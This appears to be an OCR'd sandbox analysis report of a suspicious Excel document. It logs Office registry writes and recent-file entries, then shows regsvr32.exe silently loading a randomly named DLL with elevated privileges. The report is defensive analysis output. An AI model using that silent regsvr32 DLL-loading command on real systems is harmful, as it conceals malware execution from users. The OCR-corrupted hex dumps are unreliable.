00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
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Source

Key Path Name Type Data Completion Count Address Symbol
HKEY_CURRENT_USER\Software\Mic EDAF4 binary 04 00 00 00 F4 06 00 00 39 00 00 00 43 success or wait 1 7FEEAC59ACO unknown
rosoft\Office\14.0\Excel\Resil 00 3A 00 5C 00 55 00 73 00 65 00 72 00

iency\DocumentRecovery\EDAF4 73 00 5C 0041 00 6C 00 62 00 75 00 73

00 5C 00 41 00 70 00 70 00 44 00 61 00
74 00 61 00 5C 00 4C 00 6F 00 63 00 61
00 6C 00 5C 00 54 00 65 00 6D 00 70 00
5C 00 62 00 65 00 66 00 6F 00 72 00 65
00 2E 00 36 00 2E 00 34 00 39 00 2E 00
30 00 2E 00 73 00 68 00 65 00 65 00 74
00 2E 00 63 00 73 00 76 00 00 00 00 00
220000 00 43 00 3A 00 5C 00 55 00 73
00 65 00 72 00 73 00 5C 00 41 00 6C 00
62 00 7500 73 00 5C 00 41 00 70 00 70
00 44 00 61 00 74 00 61 00 5C 00 4C 00
6F 00 63 00 61 00 6C 00 5C 00 54 00 65
00 6D 00 70 00 5C 00 01 00 00 00 01 00
00 00 B6 95 45 F1 4E C6 D6 01 F4 DA
OE 00 F4 DA OE 00 00 00 00 00 B8 02
00 00 OA 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00

HKEY_CURRENT_USER\Software\Mic Max Display dword 25 success or wait 2 7FEEAC59ACO unknown
rosoft\Office\14.0\Excel\Place MRU
HKEY_CURRENT_USER\Software\Mic Max Display dword 25 success or wait 2 7FEEAC59ACO unknown
rosoft\Office\14.0\Excel\file mru
HKEY_CURRENT_USER\Software\Mic Item 1 unicode [FO0000000][T01D1BB6D4B429860] success or wait 2 7FEEAC59ACO unknown
rosoft\Office\14.0\Excel\file mru [©00000000]*C:\Users\user\Desk

top\8878498721 .xIsx
HKEY_CURRENT_USER\Software\Mic Iltem 2 unicode [FO0000000][T01D1BB6D4B429860] success or wait 2 7FEEAC59ACO unknown
rosoft\Office\14.0\Excel\file mru [©00000000]*C:\Users\user\Desk

top\3771420242.xIsx
HKEY_CURRENT_USER\Software\Mic ltem 3 unicode [FO0000000][T01D1BB6D4B429860] success or wait 2 7FEEAC59ACO unknown
rosoft\Office\14.0\Excel\file mru [©00000000]*C:\Users\user\Desk

top\5795694722.xIsx
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Key Path

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

Copyright null 2020

Name

Iltem 4

Item 5

Iltem 6

Iltem 7

Item 8

Item 9

Item 10

Iltem 11

Item 12

Item 13

Iltem 14

Item 15

Item 16

Iltem 17

Item 18

Item 19

Item 20

Type

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

Data

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\6516896632.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\9713424497 .xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\0887538035.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\8416751812.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\3580751004.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\5367203117.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\3764832265.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\3013890265.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\0615447233.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\4144085054.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\2109793820.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\1417002460.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\1387277564.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\9281004682.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\1169381505.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\9801086636.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\7838756049.xIsx

Completion

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

Count

Source
Address

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

Symbol

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown
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Key Path

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\Resil
iency\DocumentRecovery\EDCD8

Copyright null 2020

Name

EDCD8

Type

binary

Data

04 00 00 00 F4 06 00 00 30 00 00 00 43  success or wait

00 3A 00 5C 00 55 00 73 00 65 00 72 00
73 00 5C 00 41 00 6C 00 62 00 75 00 73
00 5C 00 41 00 70 00 70 00 44 00 61 00
74 00 61 00 5C 00 4C 00 6F 00 63 00 61
00 6C 00 5C 00 54 00 65 00 6D 00 70 00
5C 00 78 00 6C 00 73 00 6D 00 2E 00 73
00 68 00 65 00 65 00 74 00 2E 00 63 00
73 00 76 00 00 00 00 00 22 00 00 00 43
00 3A 00 5C 00 55 00 73 00 65 00 72 00
73 00 5C 00 41 00 6C 00 62 00 75 00 73
00 5C 00 41 00 70 00 70 00 44 00 61 00
74 00 61 00 5C 00 4C 00 6F 00 63 00 61
00 6C 00 5C 00 54 00 65 00 6D 00 70 00
5C 00 01 00 00 00 01 00 00 00 AO A8 9D
F1 4E C6 D6 01 D8 DC OE 00 D8 DC OE
00 00 00 00 00 B8 02 00 00 66 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00

Completion

Source

Count Address Symbol

1

7FEEAC59ACO unknown
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Source

Key Path Name Type Data Completion Count Address Symbol
HKEY_CURRENT_USER\Software\Mic EDD54 binary 04 00 00 00 F4 06 00 00 2E 00 00 00 43 success or wait 1 7FEEAC59ACO unknown
rosoft\Office\14.0\Excel\Resil 00 3A 00 5C 00 55 00 73 00 65 00 72 00

iency\DocumentRecovery\EDD54 73 00 5C 0041 00 6C 00 62 00 75 00 73

00 5C 00 44 00 65 00 73 00 6B 00 74 00
6F 00 70 00 5C 00 64 00 6F 00 63 00 75
00 6D 00 65 00 6E 00 74 00 2D 00 31 00
34 00 34 00 32 00 33 00 30 00 30 00 38
00 32 00 34 00 2E 00 78 00 6C 00 73 00
00 00 00 00 17 00 00 00 43 00 3A 00 5C
00 55 00 73 00 65 00 72 00 73 00 5C 00
41 00 6C 00 62 00 75 00 73 00 5C 00 44
00 65 00 73 00 6B 00 74 00 6F 00 70 00
5C 00 01 00 00 00 01 00 00 00 C3 D7 B7
F1 4E C6 D6 01 54 DD OE 00 54 DD OE
00 00 00 00 00 B8 02 00 00 6E 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00

00 00 00
HKEY_CURRENT_USER\Software\Mic >8 binary 3B 3E 38 00 F4 06 00 00 02 00 00 00 00 success or wait 1 7FEEAC59ACO unknown
rosoft\Office\14.0\Excel\Resiliency\Startupltems 00 00 00 64 00 00 00 01 00 00 00 30 00

00 00 28 00 00 00 64 00 6F 00 63 00 75
00 6D 00 65 00 6E 00 74 00 2D 00 31 00
34 00 34 00 32 00 33 00 30 00 30 00 38
00 32 00 34 00 2E 00 78 00 6C 00 73 00
00 00 64 00 6F 00 63 00 75 00 6D 00 65
00 6E 00 74 00 2D 00 31 00 34 00 34 00
32 00 33 00 30 00 30 00 38 00 32 00 34
00 00 00

Source
Key Path Name Type Old Data New Data Completion Count Address Symbol
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Analysis Process: regsvr32.exe PID: 2376 Parent PID: 1780

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:
Imagebase:

File size:

MD5 hash:

Has elevated privileges:

Has administrator privileges:

Programmed in:

Reputation:

Disassembly

Code Analysis

Copyright null 2020

04:55:45

29/11/2020
C:\Windows\System32\regsvr32.exe
false

regsvr32 -s C:\giogti\mpomqr\fwpxeohi.dll
0xffd70000

19456 bytes
59BCE9F07985F8A4204F4D6554CFF708
true

true

C, C++ or other language

high
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